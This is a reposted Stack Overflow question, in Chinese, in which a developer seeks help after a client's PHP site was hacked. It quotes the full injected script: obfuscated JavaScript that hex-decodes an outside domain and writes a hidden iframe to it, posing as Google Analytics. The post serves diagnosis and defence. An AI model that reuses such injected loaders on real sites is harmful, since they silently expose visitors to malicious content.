gpt4 book ai didi

javascript - 客户网站被攻击了,哎呀!

转载 作者:可可西里 更新时间:2023-11-01 01:50:10 24 4
gpt4 key购买 nike

好吧,我想这一天一定会到来。

我客户的网站已被 Google 入侵并列入黑名单。当您加载主页时,此 javascript 会自动添加到文档底部:

<script type="text/javascript">var str='google-analytics.com';var str2='6b756c6b61726e696f6f37312e636f6d';str4='php';var str3='if';str='';for(var i=0;i<str2.length;i=i+2){str=str+'%'+str2.substr(i,2);}str=unescape(str);document.write('<'+str3+'rame width=1 height=1 src="http://'+str+'/index.'+str4+'?id=382" style="visibility: hidden;"></'+str3+'rame>');</script></head><body><iframe src="http://kulkarnioo71.com/index.php?id=382" style="visibility: hidden;" width="1" height="1"></iframe>

我还没有剖析它,但很明显,它是一个试图伪装成谷歌分析的攻击者。我无法解决的问题是,如果我从主页上删除每一个 HTML 的最后一位,以至于 index.html 是一个空文档,javascript 仍然会被嵌入。是什么赋予了?这怎么可能?

更新

  • 该网站是一个非常简单的日历应用程序,在 10 美元/月的 godaddy unix 帐户、MySQL、PHP 上运行。

  • 这不是我的计算机特有的本地问题,因为我的客户调用我提出了这个问题。在我家里所有的电脑上也发生了 (4)

我会在网络服务器上运行扫描...

来源已确定

好吧,我发现了 javascript 的来源。我愚蠢地只清空了 template.html 文件,但仍然通过我的 php 模板系统运行脚本。显然,上面的代码以某种方式附加到我的 index.phpmain.php 文件的底部。这怎么可能?

更多背景知识:

  • 如上所述,它是一个日历应用程序,仅供我客户的小公司使用。做任何事情都需要登录,只有 5 个人左右有帐户。我可以保证他们都不会尝试任何恶作剧。不过,我显然不能保证有人掌握了他们的信息并确实尝试了恶作剧。
  • 可悲的是,我确实在将近 4 年前创建了这个网站,所以我并不是 100% 有信心我保护了 children 现在正在尝试的一切,但我仍然不明白攻击者是如何获得对网络服务器的访问权限的将此 javascript 附加到我的 php 文件。

最佳答案

您是否提供来自 SQL 数据库的任何内容?妥协可能是 SQL 注入(inject)攻击,并且您在数据库中的站点内容已被此脚本/标记替换/修改。

关于javascript - 客户网站被攻击了,哎呀!,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/484261/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com